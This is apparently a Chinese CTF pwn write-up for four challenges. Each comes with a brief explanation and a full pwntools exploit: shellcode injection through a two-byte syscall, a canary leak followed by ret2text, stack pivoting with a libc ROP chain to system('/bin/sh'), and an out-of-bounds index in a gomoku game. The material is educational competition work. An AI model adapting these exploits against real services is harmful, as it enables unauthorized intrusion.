shellcode_level1 解题思路 题目要求只能输入两个字节,但用gdb调试到 call rax时,会发现所有的寄存器似乎已经被布置好了
1 2 3 4 RAX = 0 -> syscall number: read RDI = 0 -> fd: stdin RSI = buf -> your mmap buf RDX = 0x500 -> size
这不就是:(0 是 read函数的系统调用号)
所以这里就差 syscall(syscall 是 机器码\x0f\x05,这刚好两字节)
输入 \x0f\x05完成对read_sys的调用后,就可以打 shellcode了
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = process("./attachment" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() pad = ''' syscall ''' s(asm(pad)) shellcode = """ xor rdx,rdx push rdx mov rsi,rdx mov rax,0x68732f2f6e69622f push rax mov rdi,rsp mov rax,59 syscall """ payload = b'\x90\x90' + asm(shellcode) s(payload) ia()
批注: 这里的 payload 之所以要加上 两字节的空字节\x90,是因为第一次read在buf读入了\x0f\x05,然后call rcx时,rsp指针已经指向了buf+2的位置,但read_sys依旧是从buf开始读入的,所以需要两个空字节占位,否则就会卡在 0x776ac0302002这里报段错误
你为什么不让我溢出 解题思路 题目存在后门函数getshell(),开启了Canary保护并且允许两次栈溢出,第一次覆盖Canary的最低一个字节使puts()打印出Canary,第二次就可以直接ret2text了
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20120 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./vuln" ) shell = 0x4011BE payload = b'a' *(0x69 ) rl() s(payload) r(0x69 ) canary = u64(r(7 ).rjust(8 , b'\x00' )) ls(hex (canary)) pad = b'\x00' *(0x68 ) + p64(canary) + b'a' *8 + p64(shell) s(pad) ia()
stack_in_stack 解题思路 一般题目只让我们溢出return返回地址的时候,就是需要栈迁移了,题目已经打印出栈上buf的地址,我们就可以迁移到栈上,而且题目里bss段太短了,且都已有数据,覆盖了可能会报错。题目中sub_4011C6会打印出puts()函数的地址,可以得到libc_base,后续注意栈对齐就好了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20194 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./attachment" ) libc = ELF("libc.so.6" ) puts = 0x4011DD main = 0x40124A ret = 0x40101a leave_ret = 0x4012f2 ru(b'0x' ) rbp = int (r(14 ), 16 ) ls(hex (rbp)) pad = p64(0 ) + p64(puts) + p64(0 ) + p64(main) + p64(0 )*2 + p64(rbp) + p64(leave_ret) s(pad) ru(b'0x' ) puts_addr = int (r(12 ), 16 ) libc_base = puts_addr - libc.sym['puts' ] ls(hex (libc_base)) system = libc.sym['system' ] + libc_base pop_rdi = 0x2a3e5 + libc_base bin_sh = next (libc.search(b"/bin/sh\x00" )) + libc_base ru(b'0x' ) rbp = int (r(14 ), 16 ) ls(hex (rbp)) payload = p64(0 ) + p64(pop_rdi + 1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0 ) + p64(rbp) + p64(leave_ret) s(payload) ia()
批注: 第一次得到的buf地址会比第二次得到的buf地址高出 0x10个字节,所以要重新接收
five 解题思路 五子棋游戏的胜出不难,要求在两步以内胜出,正常是不可能的,但题目是怎么检查的:五子棋判断某个位置是否连成五个相同的棋子,是按8个方向检测的:
方向向量数组,比如:
1 2 dx = { 0, 0, 1, -1, 1, -1, 1, -1 }; dy = { 1,-1, 0, 0, 1, -1,-1, 1 };
比如方向 (0,1) 表示“竖直向上”检查:
从当前坐标 (x, y),依次检查 (x + 0*0, y + 1*0), (x + 0*1, y + 1*1), (x + 0*2, y + 1*2), … 共5个格子。
这会检查一个方向上连续的五个棋子是否都为 0
并且输入位置的时候允许负数输入,这就会导致前溢出,在4020,4040处放的是向8个方向遍历
题目会将我们输入的数组位置赋值为 0 ,我们将一个方向数组的位置输入,它就会存在(0,0),也就自己检查自己是否等于0,连续检查5次。我们修改后,题目就会检查棋盘上的每一个位子,如果先检查到我们的棋子,就会判定胜利,如果先检查到Computer的棋子,就会判定为失败。
EXP 1 2 3 4 5 6 7 rom pwn import * context(os="linux" , arch="amd64" , log_level="debug" ) io = process("./pwn" ) io.sendline(b"0 0" ) io.sendline(b"0 -5965" ) io.interactive()